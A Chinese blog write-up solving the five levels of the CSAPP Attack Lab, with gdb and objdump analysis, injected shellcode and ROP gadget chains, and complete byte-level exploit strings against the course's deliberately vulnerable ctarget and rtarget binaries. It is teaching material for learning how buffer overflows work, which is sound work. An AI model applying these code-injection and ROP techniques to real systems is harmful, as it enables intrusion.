实验介绍

本实验中,我们需要利用缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为。

预备知识

  • 缓冲区溢出的原理,参考《CSAPP原书第3版》3.10小节

  • gdbobjdump使用

  • x86_64下的汇编

实验准备

首先获取实验所需文件target1.tar: http://csapp.cs.cmu.edu/3e/labs.html

linux下执行tar xvf target1.tar,得到如下文件。每个文件作用简述如下:

  • ctarget:代码注入攻击的程序。

  • rtarget:ROP攻击的程序。

  • cookie.txt: 记录cookie的值,攻击时需要用到。

  • farm.c: 用于ROP攻击寻找gadget的文件。

  • hex2raw:将ASCII码转化为字符串的小程序,用于构造攻击字符串。

实验共有5关,每一关的目标如下:
在这里插入图片描述实验前,务必仔细阅读attackLab实验手册,可参考attacklab.pdf

第一关

这一关不需注入新的代码,只需要让目标程序ctarget重定向到一个已存在的过程即可。

ctarget中定义了test函数, test函数会调用getbuf函数,C代码如下:

void test() {
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

ctarget中还定义了touch1函数,C代码如下:

void touch1() {
	vlevel = 1;
	printf("Touch1!: you called touch1()\n");
	validate(1);
}

本关的目标是:在getbuf函数返回时,令程序跳转到touch1()而不是从test()正常返回。

我们需要攻击getbuf函数,构造输入字符串,利用缓冲区溢出修改栈中的返回地址。

首先查看getbuf函数的汇编代码:

00000000004017a8 <getbuf>:
  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp		
  4017bd:   c3                      retq   				#retq指令从栈中数据0x401976弹出,并作为返回地址跳转

sub 0x28 %rsp看出, getbuf函数在栈上分配了40个字节。再看下test函数的汇编代码:

(gdb) disassemble test
Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf> #将下一条指令0x401976压栈,并跳转到getbuf
   0x0000000000401976 <+14>:    mov    %eax,%edx

这里callq指令将0x401976压栈,并跳转到getbuf; getbuf执行结束后,使用retq指令从栈中弹出0x401976,并作为返回地址跳转。

假设输入字符串是"1234567876543210", 程序执行到0x4017b4,此时栈组织如下:
在这里插入图片描述因此,我们需要先把栈上40字节填满,然后将touch1的地址写到$rsp + 0x28处,覆盖原先正常的返回地址0x401976。下面找到touch1的地址为0x4017c0

(gdb) disassemble touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:     sub    $0x8,%rsp
   ...

构造攻击字符串, 写到文件hex1

00 00 00 00 00 00 00 00					# 前40个字节任意填,目的是将第40个字节之后的返回地址改写为touch1的地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00					# 小端机器上,这里要注意端序

利用hex2raw工具将字节码转为字符串,写到文件answer1, 用法如下:

./hex2raw < hex1 > answer1

执行ctarget程序验证结果,其中-i指定字符串所在文件,-q必选参数

# ./ctarget -q -i answer1
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

第二关

与第一关不同, 这关还需要在输入字符串中注入攻击代码。首先查看touch2代码:

void touch2(unsigned val) {
	vlevel = 2;
	if(val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
}

可以看出,我们需要在跳转到touch2的时候将cookie的值作为参数传递。思路如下:

  • 将返回地址改写为栈中的注入代码的地址。栈的地址可以用gdb跑一把程序确认

  • 在注入代码中,将cookie值传递到%rdi。因为x86-64汇编使用%rdi作为第一个参数

  • 确定touch2的起始地址并跳转。可利用pushret指令实现跳转

首先确定栈的地址,在0x4017af callq 401a40 <Gets>处打断点,查看%rsp

# gdb ctarget
(gdb) set args -q -i answer1
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r
Starting program: /home/pc/attackLab/target1/ctarget -q -i answer1
Cookie: 0x59b997fa
Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x5561dc78

得到栈的地址为0x5561dc78, 这正是我们注入代码所在的位置。

接下来需要将cookie值传给%rdi,再跳转到touch2touch2地址可通过查看汇编代码得到,结果是0x4017ec;跳转到touch2的思路是:先利用push指令将touch2地址压栈,接着用retq从栈中弹出touch2地址并跳转。

编写如下注入代码,保存到文件inject2.s

movl  $0x59b997fa, %edi			# cookie值为0x59b997fa
pushq $0x4017ec					# touch2的起始地址为0x4017ec
retq

执行gcc -c inject2.s, objdump -d inject2.o, 将汇编文件转为二进制, 得到如下机器码:

0000000000000000 <.text>:
   0:   bf fa 97 b9 59          mov    $0x59b997fa,%edi
   5:   68 ec 17 40 00          pushq  $0x4017ec
   a:   c3                      retq

综上,得到我们需要输入的字符串

bf fa 97 b9 59 68 ec 17				# 攻击代码位于地址0x5561dc78
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00				# 改写返回地址为0x5561dc78

此时的栈组织如下:
在这里插入图片描述

第三关

touch3代码如下:

int hexmatch(unsigned val, char *sval) {
	char cbuf[110];
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

和第二关类似,我们需要传入cookie字符串并跳转到touch3。但需要注意hexmatch函数被调用后,会覆盖一部分getbuf的缓冲区。为了避免这一点,可以将cookie字符串放到test的栈帧里。这一关的思路如下:

  • 将返回地址改写为注入代码所在的地址。栈的地址可以用gdb跑一把程序确认

  • cookie字符串放到test的栈帧里。在注入代码中,将cookie串的首地址传递到%rdi

  • 确定touch3的起始地址并跳转。可利用pushret指令实现跳转

与第二关类似,编写如下注入代码,保存到文件inject3.s

mov   $0x5561dca8,%rdi		# 将cookie字符串放到test栈帧中,这里放到返回地址(0x5561dca0)+0x8处
pushq $0x4018fa				# 将touch3起始地址压栈
retq						# 将touch3地址退栈,并跳转执行touch3

执行gcc -c inject3.s, objdump -d inject3.o, 将汇编文件转为二进制, 得到如下机器码:

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

我第一次写这块汇编代码时,犯了两个错误:

  • $0x5561dca8错写成$0x5561dca4, 导致段错误。注意64位机器上执行压栈和退栈操作,栈指针%rsp应该减去或加上8,而不是4

  • pushq $0x4018fa中漏写了$符号,导致压栈的数据不对。注意对立即数操作时必须加上$符号

man ascii查表 ,将字符串59b997fa转成ASCII码:35 39 62 39 39 37 66 61

综上,得到我们需要输入字符串

48 c7 c7 a8 dc 61 55 68				# 攻击代码位于地址0x5561dc78
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00				# 改写返回地址为0x5561dc78
35 39 62 39 39 37 66 61				# cookie字符串
00 00 00 00 00 00 00 00

此时的栈组织如下:
在这里插入图片描述

第四关

在前三关,我们插入攻击代码,同时插入指向攻击代码的指针,而产生这个指针需要跑下代码确认栈的地址。但是在第四、五关的rtarget程序中,采用了如下策略防止代码注入攻击:

  • 栈随机化,每次运行相同的程序,它们的栈地址是不同的。
  • 限制可执行代码区域,栈是不可执行的。

既然注入代码不可行,能不能利用已有的可执行代码来实现目的呢?以下介绍一种叫ROP的攻击方式

ROP

return-oriented-programming。策略是寻找已有的一些以ret命令结尾的指令(每条这样的指令称为gadget),通过在这些gadget之间不断跳转,拼凑处我们想要的指令来实现攻击目的,如下图:(c3retq的字节码)
在这里插入图片描述
rtarget程序中,有很多这样的gadget可以利用,举例如下:

00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

注意到48 89 c7恰好是movq %rax, %rdi的编码, c3表示ret指令。因此这段代码包含了一个gadget,且起始地址为0x4019a2。也就是说,如果我们改写栈的返回地址到0x4019a2,就可以执行movq %rax, %rdiret两条已有指令,绕过了栈上不可执行代码的限制。思路如下:

  • cookie值传递给%rdi,难点在于如何用已有的gadget拼凑出我们需要的指令,可参考如下的指令表。
  • touch2的起始地址放到栈中。查看汇编代码得到touch2地址为0x4017ec
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

另外,ret的字节编码是0xc3nop的字节编码是0x90,啥也不做,只是将%rip加1。

可以在start_farmend_farm之间找到所有可利用的gadget

0000000000401994 <start_farm>:
  401994:   b8 01 00 00 00          mov    $0x1,%eax
  401999:   c3                      retq
000000000040199a <getval_142>:
  40199a:   b8 fb 78 90 90          mov    $0x909078fb,%eax
  40199f:   c3                      retq
00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq
00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3                      retq
00000000004019ae <setval_237>:
  4019ae:   c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:   c3                      retq
# ......

为了将cookie传给%rdi,可以先将cookie的值写到栈,再利用popq %rdi指令实现。

查表可知pop的编码在58 ~ 5f。全局搜索后没找到5f c35f 90 c3,说明不能用$popq %rdi一步到位;但是可以在addval_219中找到58 90 c3,先将栈中的值弹出传到%rax。记录起始地址为0x4019ab

接着想办法把%rax的值传递到%rdi。查表,在gadget中找到48 89 c7,也就是movq %rax, %rdi指令,可以在<addval_273>中找到,而且后面正好跟了c3,记录起始地址为0x4019a2

到此,我们完成了gadget的拼凑,输入的字符串如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00							# 改写返回地址为0x4019ab, 执行popq %rax
fa 97 b9 59 00 00 00 00							# 保存cookie的值: 0x59b997fa
a2 19 40 00 00 00 00 00							# 执行mov %rax, %rdi
ec 17 40 00 00 00 00 00							# 跳转到touch2, touch2起始地址为0x4017ec

此时的栈组织如下:
在这里插入图片描述

第五关

和第三关类似,这关需要将cookie字符串的首地址传给%rdi, 再调用touch3

由于栈位置是随机的,需要用栈顶地址+偏移来确定cookie串的位置。 栈顶地址即$rsp,可通过mov %rsp XXX获取,偏移需要根据gadget指令的长度来确定。

如何将cookie串地址传到%rdi呢?可以在farm.o中可以找到如下的gadget

00000000004019d6 <add_xy>:
  4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  4019da:   c3

再结合所有gadget,多次尝试后发现一个可行解,如下:

  • %rsp传给%rdi,利用mov实现。

  • 将偏移传给%rsi, 需利用pop和多个mov实现。偏移量需要在找到所有gadget后通过计算得出。

  • lea (%rdi,%rsi,1),%rax,将cookie串的首地址传给%rax

  • %rax传给%rdi,利用mov指令

具体步骤
1. 将%rsp传给%rdi

通过movq %rsp,%rax,movq %rax,%rdi实现:

0000000000401aab <setval_350>:
  401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ab1:   c3                      retq
00000000004019a0 <addval_273>:
  4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:   c3                      retq

movq %rsp,%rax编码为48 89 e0, 地址为0x401aad

movq %rax %rdi编码为48 89 c7,地址为0x4019a2

2. 将偏移传给$rsi

先将偏移写到栈里,再通过如下4条指令传到$rsi

pop %rax
mov %eax, %edx
mov %edx, %ecx
mov %ecx, %rsi

在以下的gadget中找到这4条指令:

00000000004019ca <getval_280>:
  4019ca:   b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:   c3                      retq
00000000004019db <getval_481>:
  4019db:   b8 5c 89 c2 90          mov    $0x90c2895c,%eax
  4019e0:   c3                      retq
0000000000401a33 <getval_159>:
  401a33:   b8 89 d1 38 c9          mov    $0xc938d189,%eax
  401a38:   c3                      retq
0000000000401a11 <addval_436>:
  401a11:   8d 87 89 ce 90 90       lea    -0x6f6f3177(%rdi),%eax
  401a17:   c3                      retq

pop %rax编码为58, 地址为0x4019cc

mov %eax %edx编码为89 c2,地址为0x4019dd

mov %edx %ecx编码为89 d1,地址为0x401a34

mov %ecx,%esi编码为89 ce,地址为0x401a13

3. 将cookie字符串传给%rdi

利用lea ($rdi,%rsi,1),%rax,地址为0x4019d6

4. 将%rax传给$rdi
00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3                      retq

mov %rax,%rdi编码为48 89 c7,地址为0x4019c5

到此,我们完成了gadget的构造,只需继续在栈中依次填入touch3返回地址,cookie字符串,0(字符串结束标志),再确定偏移即可。

偏移应该是cookie字符串首地址减去(返回地址+0x8), 中间隔了9条指令,因此偏移量为72, 即0x48

输入的字符串如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00			# 改写返回地址为0x401aad			
a2 19 40 00 00 00 00 00			# 计算偏移的起始地址,返回地址+0x8
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00			# 确定偏移为0x48 
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00			# touch3首地址为0x4018fa
35 39 62 39 39 37 66 61			# cookie字符串地址,用这个地址减去计算偏移的起始地址得到偏移量为72, 即0x48
00 00 00 00 00 00 00 00			

此时的栈组织如下:
在这里插入图片描述

总结

通过这次实验,初步了解栈和缓冲区溢出的原理,以及安全编码的重要性。

参考资料

《深入理解计算机系统 原书第3版》

CSAPP:Attack lab

读厚CSAPP III Attack Lab

良性代码,恶意利用:浅谈 Return-Oriented 攻击

Logo

更多推荐